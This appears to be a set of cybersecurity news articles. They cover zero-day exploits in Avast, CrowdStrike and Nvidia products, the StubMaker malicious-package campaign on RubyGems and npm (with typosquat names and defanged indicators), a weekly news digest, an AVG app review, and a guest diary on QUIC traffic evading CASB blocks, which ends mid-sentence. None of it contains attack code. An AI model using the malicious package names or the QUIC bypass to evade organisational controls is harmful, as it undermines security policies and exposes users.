avg

The security researcher known as Nightmare Eclipse has dropped three zero-day exploits targeting products from Avast, CrowdStrike, and Nvidia. Also known as Chaotic Eclipse, Infinite Nightmare, and MSNightmare, the security researcher came to fame for a series of zero-day exploits targeting Microsoft’s products, but has recently moved to other vendors as well. In late August, Nightmare Eclipse released a privilege escalation zero-day in a Kaspersky endpoint security product. Dubbed HardBreacher, the exploit has been patched by Kaspersky on August 31. Within a short window last week, Nightmare Eclipse dropped three new zero-day exploits, dubbed PrettyPrague, FalconFlank, and GreenSection. The PrettyPrague proof-of-concept (PoC) code, the researcher says, targets the Avast sandbox to spawn a shell with full system privileges, and may also affect other GenDigital products, including AVG and Norton. “Gen was recently made aware of a security vulnerability affecting a subset of Gen products, including Avast Antivirus, that could allow an attacker to elevate their system privileges. We immediately initiated our security response procedures and have fixed the issue. We take all security matters seriously and encourage users to keep their products up to date to ensure they are protected,” a GenDigital spokesperson said, responding to a SecurityWeek inquiry. FalconFlank exploits a bug in the Office malicious macros remediation feature of CrowdStrike Falcon Sensor for privilege escalation, the researcher says. “We are actively investigating these claims and advise customers to disable the Microsoft Office File Suspicious Macro Removal Windows policy setting. Customers remain protected through the Cloud Anti-malware for Microsoft Office Files settings. We refer customers to the FalconFlank Tech Alert in the CrowdStrike support portal,” CrowdStrike told SecurityWeek. The GreenSection exploit, Nightmare Eclipse says, targets an out-of-bounds memory write affecting a shared global memory section used by multiple Nvidia user-mode components. “While this bug does not get SYSTEM privileges immediately, it can be used cross user to user boundary easily or even compromise the dwm.exe process. I didn’t look deeply into it, but I’d be happy to see someone making a full exploit out of it,” Nightmare Eclipse notes. “We are aware of reports describing a proof-of-concept that demonstrates improper access controls on a shared memory section used by certain NVIDIA GPU display driver components on Windows. NVIDIA is reviewing the reported behavior through our established security and product engineering processes. NVIDIA takes reports of this nature seriously and is actively investigating to determine the root cause, affected configurations, and appropriate remediation,” an Nvidia spokesperson said. Security researcher Kevin Beaumont said late last week that the Avast, CrowdStrike, and Kaspersky exploits work. *updated with statement from Nvidia Related: VMware Workstation and Fusion Updates Patch Critical Vulnerability Related: Google Patches 6th Chrome Zero-Day of 2026 Related: Over 3 Million WordPress Sites Affected by Migration Plugin Vulnerability

Cybersecurity researchers have flagged a new typosquatting campaign targeting RubyGems users with a Windows-based information stealer. OpenSourceMalware, which discovered the activity on August 15, 2026, is tracking the threat under the moniker StubMaker. The complete list of packages published as part of the campaign is below - ubnuler ubnlder ri18nr reaker rakier orakw joxn ise18n ioe18n ie18u iai8n i1l8n i18om activesupmport brumdler brundlef "This new malware harvests browser credentials, cryptocurrency wallets, seed phrases, and Telegram data," security researcher Paul McCarty (aka 6mile) said. "All of the malicious RubyGems packages appear to be typosquats of popular Ruby dependencies, but rather than the clever SEO-fueled typosquats we've seen from other threat actors (e.g., events-channel imitating the popular Node.js events module), they're all clumsy typos." The 16 gems have been published by users named "mod8rz41mje" (aka Riley Miller) and "rbq95bwt6q" (aka Alex Davis). As of writing, the packages have been yanked from RubyGems. In at least two cases – brumdler and brundlef – the threat actor has been found to take advantage of a known RubyGems behavior that makes a namespace available for anyone to claim once all versions of a gem have been yanked. In both instances, the packages were originally published by "gemlewqqhu1" (aka Taylor Moore) before they were reclaimed by the aforementioned two accounts. Jenn Gile, co-founder of OpenSourceMalware, told The Hacker News that although the campaign was disrupted fairly early, it became more effective because of Ruby's "poor design choices" via package name reuse and an unvalidated author field. "When one of the malicious gems was yanked, the threat actor was able to spin up a new owner account and publish a new malicious version under the same package name," Gile said. "What should have been forever dead was revived to compromise more people." "The attacker assigned a different 'Author' name for each gem in an attempt to make them look unrelated, even though they all came from the same owner account. This is because the Author field is a totally unvalidated plaintext field. It doesn't have to match the Owner or anything else." The attack chain, at a high level, makes use of an "extconf.rb" hook to trigger the execution hook. Similar to npm's lifecycle hooks, "extconf.rb" is run automatically when a user installs a gem. The file is typically used to configure native extensions written in C, C++, or Rust that are bundled inside a Ruby package within the "ext/" directory and compiled during installation of the gem. In the case of StubMaker, the Ruby hook acts as a conduit to fetch a 22 MB Rust-based loader from a GitHub release, which, in turn, launches a Go-based stealer ("wincfg") payload embedded into it. The GitHub account ("github[.]com/bebraz1") is no longer accessible. The stealer, for its part, incorporates a DLL payload ("abe_payload.dll") that's used to extract credentials from Chromium-based web browsers (i.e., Google Chrome, Microsoft Edge, Brave, Opera, Opera GX, Vivaldi, Yandex, Avast, AVG, and CCleaner Browser) by circumventing app-bound encryption (ABE) protections added by Google. It also collects extension data, browsing history, and payment card numbers; searches for cryptocurrency wallets and seed phrases; extracts Telegram Desktop data; gathers system information; and makes an external request to "api.ipify[.]org" to obtain the victim's public IP address. Once the relevant data is captured, it's uploaded to Gofile in the form of a password-protected ZIP archive and the resulting download link is sent to the threat actor ("dresslee.com") over an unencrypted HTTP channel. "StubMaker doesn't build anything — it generates a Makefile with empty all, install, and clean targets, plus Unix and Windows stub scripts that do nothing but return success, so the extension phase reports a clean build while the real work (the platform beacon, the Windows loader fetch and execution) happens in the installer hook itself," McCarty explained. "The name points at that specific move: manufacturing a fake build toolchain to make a malicious install look like a routine one, rather than just describing another typosquatted RubyGems package." The disclosure coincides with the discovery of two software supply chain campaigns targeting npm - A cluster of 21 npm packages that typosquatted CLI binary names exposed by Google's scoped packages to deliver a minimal postinstall beacon. "The packages did not squat package names," SafeDep said. "They targeted the bin field, the part of package.json that defines executable command names. Every scoped package that declares a bin entry creates an unscoped name that anyone can register. None of the standard dependency confusion mitigations (scoped publishing, registry allowlists, lockfile pinning) cover this gap." A cluster of Baileys npm forks that engage in a variety of malicious behaviors: covertly make the installer's WhatsApp account follow channels the package author controls and inject the author's advertising URL into every image and video the bot sends. "Continuous monitoring of the npm registry records 4,250 package names that contain baileys and another 112 that contain libsignal-node," SafeDep said, adding the malicious behavior has been observed in 70 package names built on Baileys across 343 versions and 15 libsignal-node impersonators across 38 versions. Update The StubMaker campaign has also been observed targeting npm with a set of 37 packages that make use of a postinstall hook to retrieve the same GitHub-hosted Windows loader, which then unpacks a Go infostealer targeting browser credentials and sessions, payment-card data, cryptocurrency wallets and seed phrases, Telegram data, and host information. "This was one threat actor running two typosquatting fronts against two package ecosystems, sharing a single payload and a single C2 backend," Gile said. As with the malicious RubyGems, the npm packages are typosquats of popular packages such as axios, chalk, commander, lodash, typescript, and react. None of the packages are available for download as of writing. The names of the typosquats are below - axois-http, axious-core chalk-core, chalk-lib, chalk-util, chalk-es comand, comander-cli, comanderjs, commandorjs, commandor-cli, commandor-core, comander-lib, commandor-lib, commander-lib loadashjs, lodash-lib, ladash-cli, lodahsjs, lodsh-cli, lodahs-cli, lodhash-cli typescirpt-cli, typscript-cli, typesript-cli, typscript-core, typescriptt-cli, typescrip-cli, typescipt-cli, tyepescript-cli, typescirpt-core, tyepescript-core, typesript-core, typescipt-core, typescriptt-core raectjs testingsmthb1g OpenHack, which also published details of the activity, said the packages were published on August 16, 2026. If any one of the packages was installed on a Windows machine during the time it was live, it's recommended to isolate the host, rotate credentials, and remove the malicious libraries. OpenSourceMalware has also flagged some key differences between the two campaigns - The gems use "extconf.rb," whereas the npm packages employ a postinstall hook to trigger the execution of the loader The Ruby installer decodes its loader URL from Base64, whereas the npm installer uses repeated-key XOR with a hard-coded key The gems were published during a two-day period, whereas the npm packages were uploaded to npm in an eight-minute window across five accounts "RubyGems' pattern was sequential and single-point-of-failure," Gile added. "One account gets caught, the operator adapts and returns. npm's pattern spread the same burst across multiple burner accounts simultaneously, so losing any one account wouldn’t have taken down the whole batch. However, in spite of the different approach, the npm packages were rapidly discovered and removed as a cohort." In a follow-up report published on August 20, 2026, CloudSEK said it identified three more npm packages mimicking the legitimate typescript library: typecript-cli*, typecript-core, and typescrit-cli. It's tracking the activity under the name BRIDGEHEAD. The packages also implement a Windows Subsystem for Linux (WSL) gate so that a developer running npm install inside the Linux environment is treated as a "bridge" to reach the underlying Windows machine and deploy the stealer malware. "The npm layer is loud, cheap and disposable: forty impersonation packages published to a public registry and withdrawn in since removed," security researcher Vikas Kundu said. "The payload layer is quiet and durable: one Rust executable on GitHub and one exfiltration route through a public file host, neither of which the npm takedown affected." "The WSL bridge narrows the target from developers in general to developers running that toolchain on Windows. That is a large and deliberately chosen group. A pure-Linux or macOS developer installing the same package is profiled and beaconed but receives no Windows payload; the gate simply does not open." (The story was updated after publication on August 19 and 21, 2026, to include the campaign's targeting of npm.)

Week in review: SimpleHelp vulnerability exploited, Oracle EBS Payments flaw under attack Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Companies keep bolting AI onto their products, and the security bill is coming due Companies keep bolting AI and LLM features onto their products, and the security results are starting to show a pattern. The vulnerabilities those features create get rated high risk far more often than anything else, and they get fixed slower than anything else. The figures come from Cobalt’s AI and Pentesting Pulse Report 2026, built on five years of penetration testing data and a survey of 455 security leaders and practitioners. DarkMoon: Open-source AI pentesting platform Penetration testing relies on skilled specialists who spend days probing networks and web applications by hand. Engagements often take weeks, cost thousands of dollars per day, and produce results that vary by tester. AI-driven automation aims to streamline the process. DarkMoon, an open-source platform, uses AI agents to plan and execute security assessments from start to finish, delivering an evidence-backed report at the end. AirDrop and Quick Share vulnerabilities affect protocols on five billion devices as fixes begin Phones and laptops include built-in wireless file-sharing features such as Apple’s AirDrop and Google and Samsung’s Quick Share. These services automatically communicate with nearby devices, even if they have never connected before, and are used on more than five billion devices worldwide. Researchers at the CISPA Helmholtz Center for Information Security identified six vulnerabilities affecting AirDrop and Quick Share across macOS, iOS, Android, and Windows. AI-generated code risks reach security, legal, and compliance teams Most engineering organizations write code with AI, and a good number of them keep that code away from customers. A Flux survey of engineering leaders and practitioners found that nearly half run AI-generated code in production. Almost every company in the sample uses AI somewhere in development, with under 5% reporting no plans to adopt it within a year. Nika: Open-source code analysis tool Many web application vulnerabilities span multiple files, making them difficult for scanners that analyze one file at a time to detect. Nika, an open-source tool from PhonePe, works on that problem by performing cross-file taint analysis in Java microservices, tracing untrusted input across application layers to identify security-sensitive operations. The endpoint recovery gap many teams discover during an incident In this interview with Help Net Security, IGEL CTO Matthias Haas explains why backups alone do not equal recovery. He makes the case that endpoint recovery is often overlooked, leaving organizations exposed when thousands of devices go down at once. Mozilla warns of indirect prompt injection risk in AI coding agents A malicious GitHub repository can silently compromise a developer’s machine without containing a single line of malicious code, security researchers at Mozilla’s Zero Day Investigative Network (0DIN) warned. The proof-of-concept attack targets AI-powered coding agents such as Claude Code, and uses indirect prompt injection to manipulate an AI agent into taking harmful actions the developer never explicitly authorized. JSP webshells being dropped on unpatched PTC Windchill instances The US Cybersecurity and Infrastructure Security Agency (CISA) added a vulnerability (CVE-2026-12569) in Windchill and FlexPLM, two product lifecycle management software platforms developed by PTC, to its Known Exploited Vulnerabilities (KEV) catalog. SimpleHelp vulnerability exploited to deliver mighty Djinn Stealer (CVE-2026-48558) Attackers are exploiting CVE-2026-48558, a recently patched authentication bypass vulnerability in SimpleHelp RMM, to drop the novel Djinn Stealer malware on victim computers. The malware is capable of targeting Windows, macOS, and Linux systems, and “collects credentials associated with cloud platforms, source control, package registries, infrastructure tooling, AI development assistants, browsers, SSH, and cryptocurrency wallets,” BlackPoint Cyber’s researchers discovered. Oracle E-Business Suite Payments flaw under attack (CVE-2026-46817) Exploitation attempts targeting a critical vulnerability (CVE-2026-46817) in Oracle Payments, the payment-processing module within Oracle’s E-Business Suite (EBS), have been spotted over the weekend, threat intelligence company Defused warned on Monday. What a financial planner taught me about cybersecurity When Brian Honan spoke at a recent cybersecurity awareness event for financial planners and tax advisors, the audience was highly engaged with the subject. As happens at conferences around the world, people often approach speakers to ask follow-up questions or share their feedback on the presentation. This time, what struck Honan was how many attendees said they had been scared by what they heard during his talk. Geopolitical cyber threats are turning HR into a security front line In this Help Net Security video, Roman Sannikov, Global Research Coordinator at iCOUNTER, explains why geopolitics belongs in every security team’s threat model. With open and simmering conflicts around the world, attacks can come from actors that would never have targeted your company before. Getting boards to fund ERM means speaking their currency In this Help Net Security video, Greg Young, VP Cybersecurity and Corporate Development at TrendAI, explains how to build Enterprise Risk Management that a board will pay for. Sycophantic chatbots and the harms that build over many chats People use AI chatbots for company, advice, and emotional support, and these systems respond in ways designed to hold their attention. Researchers describe the resulting risks as affective safety, harms that arise because humans are emotional beings and AI engages directly with those emotions. The damage can occur during normal use, as systems optimize for the goals set by their developers. Half the defense base still builds security around compliance CMMC requirements are appearing in defense contracts and moving down through supplier networks to thousands of companies new to this kind of compliance work. Many run on limited budgets with lean security teams. The picture comes from nearly 900 defense contractors, C3PAOs, federal suppliers, and cybersecurity professionals who attended the 2026 Secureframe National Cybersecurity Summit. WSL containers now build and run Linux workloads on Windows Containers power many cloud-native applications, AI workloads, and testing and deployment pipelines. Windows developers have long relied on third-party software to build and run them. WSL containers make that step optional. Introduced at Microsoft Build 2026, the feature is now available in public preview with Windows Subsystem for Linux version 2.9.3. Users can install it with wsl --update --pre-release or by downloading the pre-release build from GitHub. Kali Linux 2026.2 trims VM boot times, refreshes its desktops Penetration testers who run Kali Linux inside virtual machines boot their systems faster after the 2026.2 release. The change comes from a decision about graphics firmware, the code that drives NVIDIA, AMD, and Intel GPUs. That firmware has grown large enough to slow the early stages of startup, and few virtual machines need it. This supercomputer encrypts your data even while it’s running it Sensitive data is typically encrypted when stored and transmitted, but not while it is being processed in memory, leaving it exposed to anyone with sufficient system access. Researchers at the University of Cologne developed a supercomputer called RAMSES that closes this gap by keeping data encrypted even during processing. The ARToken phishing panel targets Microsoft 365 accounts U.S. companies are being targeted with phishing emails that impersonate trusted vendors and appear to be routine invoice inquiries. According to Cisco Talos, the campaign is linked to EvilTokens, a phishing-as-a-service platform that earlier this year operated across hundreds of Cloudflare Workers domains. What the AI patch gap means for enterprise security Open-source maintainers are receiving more vulnerability reports than they can act on, and a rising share now comes from an AI system working at machine speed. Over roughly two months this spring, Anthropic’s Claude Mythos Preview combed through more than 23,000 open-source code paths and routed verified findings to the projects that own them. Tuskira studied what happens to those findings once they reach human hands. Catching ransomware on the wire before it locks the file server Corporate networks store sensitive data on shared servers accessed through mapped drives, making them prime ransomware targets. A compromised workstation can encrypt remote files over Server Message Block (SMB) traffic, while endpoint security tools often see only part of the attack. Researchers at La Trobe University developed a network-based framework that detects ransomware by analyzing SMB traffic patterns. Non-interactive SSH attacks dominate after login Anyone who runs a server with SSH exposed to the internet sees the same pattern in the logs. The usual assumption is that an attacker eventually breaks in, opens a shell, and starts running commands. Data collected from 11 research honeypots suggests a very different reality. Most teams accept higher risk for faster AI database work Database professionals are using AI for everyday work like writing queries, building schemas, and reviewing code, and a growing share rely on autonomous tools that act on the database itself. The use of AI in database management has almost tripled in a year, climbing from 15% to 44% of organizations, according to Redgate’s 2026 State of the Database Landscape report. GPT-5.6 gets better at cybersecurity OpenAI has started rolling out the GPT-5.6 series models in limited preview to a small group of trusted partners through the API and Codex. The series includes Sol as the flagship model, Terra as a balanced option, and Luna as the fastest and most cost-efficient model. The rollout is being coordinated with the U.S. government before expanding to ChatGPT, Codex, and API users in the coming weeks. Hottest cybersecurity open-source tools of the month: June 2026 Presented here is a curated selection of noteworthy open-source cybersecurity solutions that have drawn recognition for their ability to enhance security postures across diverse settings. Vulnerability reports are arriving faster than GitHub can review them Across the open source world, people are reporting software flaws in record numbers, and the systems built to verify those reports are straining under the weight. The GitHub Advisory Database, which feeds automated security alerts to millions of projects, has reached a point where some new advisories take weeks to publish. Product showcase: Scam calls, phishing, and data breaches? Meet AVG Mobile Security AVG Mobile Security for iOS helps protect users against online threats with features including Web Guard, VPN, Scam Guardian Pro, Hack Alerts, and Photo Vault. It also identifies suspicious calls and scam text messages and helps keep personal information private while using Wi-Fi networks with its VPN. The app is available for Windows, macOS, Android, and iOS. OpenClaw for iOS: The viral open-source AI agent comes to iPhone and iPad OpenClaw, a self-hosted personal AI assistant that connects to existing chat apps, is now available on iPhone, iPad and Apple Watch. The release brings chat, real-time voice conversations, approvals, device capabilities, and private automations to iOS. Proton’s pitch for Lumo 2.0: Frontier AI without the data grab Proton has unveiled Lumo 2.0, a major upgrade to its zero-access encrypted AI assistant. Built on a new architecture, the release brings the assistant closer to frontier AI models with new AI models, multimodal capabilities, Memory, improved web search, and enterprise features. Microsoft wants to stop unwanted bots from entering Teams meetings A new Microsoft Teams admin policy, Manage external bots and their access to meetings, gives organizations greater visibility and control over external bots in meetings. The policy identifies bots and applies safeguards before they are admitted. Microsoft will begin retiring the existing Require verification by participants (CAPTCHA) meeting policy. Claude Sonnet 5 includes safeguards against dangerous cyber use Anthropic has introduced Claude Sonnet 5, the latest version of its general-purpose AI model, with improved reasoning, coding, tool use, and knowledge work capabilities. The model can make plans, use tools such as browsers and terminals, and complete tasks autonomously. GitHub’s new tool helps prevent costly open-source license violations GitHub’s Open Source Program Office (OSPO) uses the new GitHub License Compliance feature, now in public preview, to manage thousands of open-source dependencies and identify dependencies whose licenses require review. Review: CTRL+ALT+PWN Hacking gear that once sat in well-funded labs now ships to anyone with a credit card and a video tutorial. Frank Riccardi builds his consumer guide, CTRL+ALT+PWN: The Hacker’s Playbook (And How to Beat It), on that one condition. Cloudflare changes AI crawler access rules Cloudflare introduced new controls that let website owners manage AI traffic across three categories: Search, Agent, and Training. The feature is available to all Cloudflare customers, including those on the Free plan, and gives website owners more control over how different types of AI crawlers access their content. Scattered Spider suspect extradited over $8 million ransom scheme A suspected Scattered Spider member has been extradited to the United States to face charges linked to cyberattacks against U.S. companies, including the breach of a luxury jewelry retailer that led to an $8 million cryptocurrency ransom demand after attackers stole company data. Organizations struggle to prioritize known cyber risks Organizations collect more cyber risk data than ever, with many still struggling to build a unified view of their exposure. The latest State of Threat Management report from Filigran found that security teams continue to work across disconnected tools, leaving important context spread across multiple systems. Cybersecurity jobs available right now: June 30, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the week: July 3, 2026 Here’s a look at the most interesting products from the past week, featuring releases from Digi International, iboss, Jamf, and Netzilo.

Product showcase: Scam calls, phishing, and data breaches? Meet AVG Mobile Security AVG Mobile Security for iOS helps protect users against online threats with features including Web Guard, VPN, Scam Guardian Pro, Hack Alerts, and Photo Vault. It also identifies suspicious calls and scam text messages and helps keep personal information private while using Wi-Fi networks with its VPN. The app is available for Windows, macOS, Android, and iOS. Getting started After downloading the app from the App Store, Smart Scan automatically checked the device for security recommendations. The scan found that Web Guard was disabled and recommended enabling it. Features overview Web Guard helps protect users while browsing by blocking dangerous websites before they load. It also warns about fake online stores that may attempt to steal personal information or money. Enabling Web Guard requires installing a VPN profile because the feature filters web traffic through a secure connection. The dashboard is straightforward and shows which security features are active and which still require setup. VPN was disabled by default, so I enabled it. Next, I opened Scam Guardian Pro and set up SMS Guard and Call Guard. SMS Guard uses AI to detect scam and junk messages and moves them to a scam filter. Call Guard identifies suspicious and scam calls, and users can choose whether those calls are blocked automatically. Hack Alerts monitors an email address for known data breaches. If an account associated with the email has been compromised, the app lists the affected accounts and recommends changing the passwords. The free version supports one email address, while the premium version supports up to five. Photo Vault is available in the app’s settings. It creates an encrypted vault protected by a passcode, with the option to enable Face ID for access. After creating the vault, users can add photos that are stored securely inside the encrypted vault. Final thoughts AVG Mobile Security was easy to set up and use. The setup process guides users through enabling each protection feature, and the dashboard shows what is active and what still requires attention. I found Photo Vault particularly useful for storing photos of personal documents in an encrypted vault.

[This is a guest diary submitted by Varun Murdula] SUMMARY CASB block policies rely on inspecting TCP traffic. QUIC, the protocol powering HTTP/3, runs over UDP, a protocol most CASBs cannot inspect. The result: Chrome can reach a destination your CASB is supposed to block, and nothing in the logs shows it happened. This article explains the gap, how to test for it, and what to do about it. When a security team blocks access to a website or cloud service, the assumption is simple: the block is in place, so users cannot reach that destination. The rule is configured. The tool is running. "Job done. Time for coffee." That assumption is often wrong. When it is, there is nothing in the logs to tell you. I ran a test across five browsers on a managed endpoint with an active CASB policy. What I found is what this article describes. There is a real enforcement gap in how CASBs handle browser traffic. It is documented by the security vendors themselves, including published guidance from Palo Alto Networks, Forcepoint, and Cloudflare. But many security teams have never tested for it and do not know it applies to them. The tools are doing what they were designed to do. The way CASBs were built predates how browsers behave today. A block policy can look completely fine in every log and dashboard while traffic to the blocked destination flows freely through a different browser on the same machine. First, what is a CASB? A Cloud Access Security Broker (CASB, pronounced “cazz-bee”) is a security tool that sits between an organization’s users and the internet. Gartner, which coined the term in 2012, defines it as “on-premises, or cloud-based security policy enforcement points, placed between cloud service consumers and cloud service providers to combine and interject enterprise security policies as the cloud-based resources are accessed.”10 In plain terms: it sits in the path of every internet connection and decides what gets through. Proxy mode is the most common deployment for web traffic inspection. In this mode, every time a browser connects to a website or service, the CASB intercepts the request, checks it against policy rules, and either allows it or blocks it. It acts like a security checkpoint on every outbound internet connection. CASBs are used to stop employees from sending sensitive data to places their organization does not permit: personal cloud storage, unauthorized file sharing tools, and generative AI chatbots where organizational policies may prohibit data sharing. To inspect web traffic, a CASB needs to read the content of the connection, including encrypted ones. The vast majority of web traffic today is encrypted using Transport Layer Security (TLS). A protocol is a set of rules for how data travels across a network. TLS encrypts data in transit so only the sender and recipient can read it. It is the technology behind the padlock icon in your browser’s address bar. To inspect TLS-encrypted traffic, a CASB performs SSL/TLS inspection (SSL stands for Secure Sockets Layer, TLS’s older predecessor). The CASB intercepts the connection and decrypts it. It then inspects the content, applies its policy, re-encrypts the traffic, and forwards it on. From the user’s side, nothing looks different. The padlock is still in the address bar. For this to work, the CASB needs the browser to trust its re-signed certificates. It does that by installing a root Certificate Authority (CA) certificate into the device’s trusted certificate store, a list of credentials the device recognizes as legitimate. Once that certificate is there, the browser trusts the CASB’s re-signed traffic and continues normally. This works fine, but not every browser on the device handles that certificate the same way. How QUIC creates a gap in your CASB coverage Two things explain this gap. The first is QUIC, a modern transport protocol developed by Google and standardized by the IETF.1 It was designed to make web connections faster and more reliable. It was not designed to circumvent enterprise security controls. This gap exists because proxy-based inspection tools were built around TCP, not because QUIC has a flaw. The name is not an acronym. Google just called it QUIC. The second is the difference between TCP and UDP, the two transport mechanisms that determine whether your CASB ever sees the traffic. TCP (Transmission Control Protocol) is the traditional protocol behind most internet traffic. Ordered, reliable, and what CASB SSL/TLS inspection is built around. UDP (User Datagram Protocol) is a faster, lower-overhead alternative. It trades some of TCP’s reliability for speed and does not require the same connection handshake. QUIC runs over UDP, not TCP. CASB inspection only works on TCP, so it never sees QUIC traffic. "Chrome took the side door. The CASB was watching the front." QUIC is the transport behind HTTP/3 (the third version of the Hypertext Transfer Protocol, the language of the web). Chrome learns which servers support QUIC through previous connections, Alt-Svc headers, or DNS HTTPS records (RFC 9460), which let servers signal QUIC support before a connection even starts.9 Once Chrome knows a server supports QUIC, it tries it automatically. When that happens, the traffic goes over UDP. The CASB only monitors TCP, so it never sees the connection. No block fires and nothing is logged. KEY FINDING: A user on a managed laptop can reach a destination the CASB is supposed to block, simply because Chrome used QUIC over UDP instead of TCP. The tool is running. The policy is active. The block does not fire. These are not hypothetical concerns. Palo Alto Networks explicitly recommends blocking QUIC in their internet gateway security best practices.2 Forcepoint published a dedicated advisory documenting that QUIC traffic from Chrome, Edge, Brave, Firefox, and Safari may not be intercepted by their proxy.3 Cloudflare’s gateway documentation states directly: if the UDP proxy or TLS decryption is off, HTTP/3 traffic from Chrome bypasses inspection entirely. [4] The broader problem: Browsers do not all behave the same way QUIC is the clearest example, but it is not the only way enforcement can fail across browsers. When a CASB policy is set up and tested, it is usually tested once, from a single browser, and signed off as working. Most teams never verify whether the policy is enforced consistently across every browser on managed devices. "One browser tested. Zero browsers questioned. Ticket closed." Keep Aware’s 2026 Browser Security Report makes the point clearly: DLP and CASB tools were built for a different era of computing, one defined by email attachments, file transfers, and endpoint storage.5 They were never designed for what people actually do in a browser today: typing sensitive data into a web form, pasting content into an AI chatbot, uploading files through a browser interface. Some DLP tools enforce policy through a browser extension rather than a network proxy. That extension only works in browsers where it was deployed.6 Use a different browser on the same machine and the enforcement is gone entirely. Why this is invisible in standard log review That missing coverage does not generate an alert. It leaves no trace. When QUIC bypasses the proxy, the traffic never touches the inspection pipeline. The CASB sees nothing. No failed block, no error, no anomaly. When one browser is enforced and another is not, the CASB log looks clean. Block events from the enforced browser are there. The uninspected traffic from the other browser generates no entries at all. "The logs are not lying. They reported exactly what they saw. The problem is they only saw the traffic that came through TCP." CASB block event counts get used to assess how much traffic reached a blocked destination. But block events only count traffic that entered the inspection pipeline, not all traffic that actually arrived. Where QUIC is unblocked, the real number is higher. Sometimes significantly. In an investigation, that gap means you underestimated how much data actually moved — you scoped the incident wrong. Why this gap matters now Generative AI has changed where sensitive data goes. Industry research consistently shows that employees are sharing internal documents, reports, and confidential data with AI tools at significant scale.[7] Most of it on managed devices, through Chromium-based browsers, reaching destinations that CASB policies are meant to block. 223 avg GenAI policy violations per org per month (Netskope 2026) 2x sensitive data incidents sent to AI platforms, year over year (Netskope 2026) 86% security leaders who believe employees are sharing sensitive data with AI tools without authorization (Code42 2024) Blocking AI destinations at the CASB layer is the right call. But if QUIC is unblocked and HTTP/3 connections are being established over UDP to those destinations, the block may not be firing for a significant portion of actual traffic. The policy says blocked. The network says otherwise. For organizations subject to GDPR, HIPAA, PCI DSS, or SOC 2, an undetected enforcement gap like this one is not just a security problem. It is a compliance risk. Regulators do not distinguish between a policy that was misconfigured and one that was never enforced — the outcome is the same. How to test whether this gap exists in your environment Run this on a test device configured the same as production. You need three things. First, the CASB agent active with a block policy targeting a specific URL. Second, all five browsers installed on that device: Safari, Chrome, Brave, Firefox, and Edge. Third, access to your CASB’s log console. URL stands for Uniform Resource Locator, which is just a web address. "Takes about twenty minutes. Less time than the average security vendor webinar." Confirm the CASB agent is running and the block policy is active on the test device. Open Safari and navigate to the blocked destination. Verify the block fires and a log event appears in the CASB console. Open Chrome and navigate to the same destination. Does the block fire, or does the page load? Repeat with Brave, Firefox, and Edge separately. Record each result. In Chrome, type chrome://net-export into the address bar. That is Chrome’s built-in network log. Use it to check whether Chrome negotiated a QUIC connection to the destination. At the firewall or proxy, check whether UDP port 443 is being explicitly dropped. If it is allowed through, QUIC bypass is possible. Compare CASB log entries against what you observed in each browser. What to look for if the gap exists: NOTE ON FIREFOX Cloudflare’s documentation shows Firefox HTTP/3 inspection can work when the UDP proxy is properly enabled. Behavior varies by CASB vendor. Do not assume Firefox is safe or vulnerable. Test it in your specific environment. What to do about it 01 Block QUIC at the network layer Ask your network team to drop UDP/443 traffic at the proxy, Secure Web Gateway (SWG), or firewall. Chromium-based browsers fall back to TCP when QUIC is blocked, and the CASB inspection pipeline takes over. Most platforms handle this gracefully, though some may see a brief delay on the first connection as the browser falls back to TCP. Recommended by Palo Alto Networks, Forcepoint, and Cloudflare. Verify it is actually enforced, not just documented somewhere. 02 Test every browser, not just one Testing a single browser and calling the control validated is not enough. Safari, Chrome, Brave, Firefox, and Edge each have different protocol behaviors. Every browser in the environment needs to be tested independently, starting at initial deployment and again after any policy changes. 03 Compare CASB logs against what your endpoint actually recorded Endpoint telemetry shows what programs are running and what connections they are making. A pattern where Safari generates block events for a destination while Chrome generates none on the same device in the same time window is worth investigating. It means the block is not reaching Chrome, not that the user was inactive. 04 Look at controls that live inside the browser, not outside it Proxy-based enforcement intercepts traffic from the outside. It was designed before QUIC existed and before users spent most of their working day inside a browser. There are tools that work differently: browser-native DLP products, endpoint agents that monitor at the process level, and secure enterprise browsers such as Island or Talon that apply policy from within the browser itself. None of them replaces a CASB, but each one covers gaps that a CASB cannot. 05 Treat CASB event counts as a floor, not a ceiling In any investigation or data loss review, CASB block event volume is the minimum known traffic, the fraction that entered the inspection pipeline. Actual traffic may be higher. Cross-check against your endpoint logs before you call the scope final. Conclusion Nobody wants to find out their block policy was not working by reviewing an incident report. But that is exactly how this gap tends to surface. The logs looked fine. The dashboard was clean. The policy was active. Meanwhile, QUIC connections were going straight to the destination that was supposed to be blocked. This is not a cutting-edge attack technique. It is a protocol mismatch that has been sitting in enterprise environments for years. Nobody talks about it because the logs never show anything wrong. No alert. No error. Just traffic moving where it should not be, with no corresponding log entry to show for it. If you take one thing from this: ask your network team to block UDP port 443 at the firewall or proxy, then test every browser in your environment against a blocked destination. Twenty minutes. You might be surprised what you find. If you are sharing this with leadership: ask your security team to run the test in the section above and report back. The answer will tell you whether your current enforcement is doing what you think it is. Assume nothing. Test everything. Glossary of key terms CASB Cloud Access Security Broker. A security tool that monitors and controls traffic between users and cloud services. In proxy mode, it acts as a checkpoint on every outbound internet connection. SSL / TLS Secure Sockets Layer / Transport Layer Security. Encryption protocols that protect data in transit. The padlock in your browser’s address bar means TLS is active. CA Certificate Authority. Issues digital credentials called certificates. In the context of this article, a CASB uses a CA certificate so browsers trust its re-signed traffic during SSL inspection. TCP Transmission Control Protocol. The traditional, reliable internet transport protocol. CASB inspection tools are built to intercept TCP traffic. UDP User Datagram Protocol. A faster, lower-overhead protocol. QUIC runs over UDP, which is why CASB tools built around TCP cannot inspect it. QUIC A modern transport protocol from Google, standardized by the IETF. Runs over UDP and powers HTTP/3. Not an acronym, just a name. Designed for performance, not to bypass security controls. HTTP/3 The third major version of the Hypertext Transfer Protocol, the language of the web. Uses QUIC as its transport. Supported by most large platforms. SWG Secure Web Gateway. A network-level security tool that filters internet traffic, often deployed alongside a CASB. DLP Data Loss Prevention. Tools and policies designed to stop sensitive data from leaving an organization without authorization. SaaS Software as a Service. Cloud-based software accessed through a browser: email, productivity tools, AI services. Endpoint Any device (laptop, desktop, phone) connected to a corporate network or running corporate security software. Telemetry Detailed data automatically collected from systems about their activity and connections. Used by security teams to investigate incidents. URL Uniform Resource Locator. A web address, what you type into a browser’s address bar. DNS Domain Name System. The internet’s directory. Translates web addresses into numeric IP addresses computers use to find servers. Modern DNS records can 